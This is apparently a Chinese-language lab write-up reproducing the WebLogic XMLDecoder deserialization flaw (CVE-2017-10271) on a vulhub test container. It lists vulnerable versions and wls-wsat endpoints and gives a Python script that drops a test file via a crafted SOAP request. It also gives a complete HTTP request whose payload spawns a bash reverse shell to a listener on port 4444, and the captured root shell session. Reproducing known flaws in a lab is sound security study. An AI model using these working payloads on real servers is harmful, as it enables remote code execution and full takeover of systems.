Weblogic复现之XML Decoder反序列化

(Updated: )
漏洞复现

前言

今天复现XML Decoder反序列化漏洞。

  • 涉及版本

    1
    2
    3
    10.3.6.0.0
    12.1.3.0.0
    12.2.1.1.0

  • 漏洞地址

    1
    2
    3
    4
    5
    6
    7
    8
    /wls-wsat/CoordinatorPortType
    /wls-wsat/RegistrationPortTypeRPC
    /wls-wsat/ParticipantPortType
    /wls-wsat/RegistrationRequesterPortType
    /wls-wsat/CoordinatorPortType11
    /wls-wsat/RegistrationPortTypeRPC11
    /wls-wsat/ParticipantPortType11
    /wls-wsat/RegistrationRequesterPortType11

复现攻击

简单的漏洞证明

  1. 检测漏洞

检测脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Upgrade-Insecure-Requests': '1',
    'Content-Type': 'text/xml'
    }
def Webogic_XMLDecoder_poc(url):
    posturl=url+'/wls-wsat/CoordinatorPortType'
    data = '''
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter">
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
                        <string>xmldecoder_vul_test</string></void><void method="close"/>
                    </object>
                </java>
            </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/>
    </soapenv:Envelope>
    '''  
    print (url)
    try:
        r=requests.post(posturl,data=data,headers=headers,timeout=5)
        geturl=url+"/wls-wsat/test.txt"
        print (geturl)
        check_result = requests.get(geturl,headers=headers,timeout=5)
        if 'xmldecoder_vul_test' in check_result.text:
            print ("[+]存在WebLogic WLS远程执行漏洞(CVE-2017-10271)")
    except:
        print ("[-]不存在WebLogic WLS远程执行漏洞(CVE-2017-10271)")
if __name__ == '__main__':
    url = "http://192.168.220.141:7001" #目标url
    Webogic_XMLDecoder_poc(url)

执行结果：

1
2
3
http://192.168.220.141:7001
http://192.168.220.141:7001/wls-wsat/test.txt
[+]存在WebLogic WLS远程执行漏洞(CVE-2017-10271)
  1. 写入webshell

漏洞地址为：http://192.168.220.141:7001/wls-wsat/CoordinatorPortType

burp抓包，转发到repeater下

将GET变为POST，并将Webshell写下，点击Go按钮，

访问http://192.168.220.141:7001/bea_wls_internal/test.jsp

![](Weblogic复现之XML Decoder反序列化/1.png)

反弹shell

  1. 漏洞检测

工具利用： XML反序列化漏洞检查工具

脚本利用： 上面的检测脚本

  1. burp抓包，转发到Repeater，攻击机开启端口监听

  2. 将GET改为POST，传入反弹shell脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: 192.168.220.141:7001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Type: text/xml
    Content-Length: 645

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i &gt;&amp; /dev/tcp/192.168.220.141/4444 0&gt;&amp;1</string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>

  3. 反弹shell成功！！！

    1
    2
    3
    4
    5
    6
    7
    8
    9
    root@localhost:vulhub/weblogic/CVE-2017-10271# nc -lvvp 4444
    Listening on [0.0.0.0] (family 0, port 4444)
    Connection from [172.21.0.2] port 4444 [tcp/*] accepted (family 2, sport 45968)
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@f84f979b36de:~/Oracle/Middleware/user_projects/domains/base_domain# whoami
    <Middleware/user_projects/domains/base_domain# whoami                        
    root
    root@f84f979b36de:~/Oracle/Middleware/user_projects/domains/base_domain#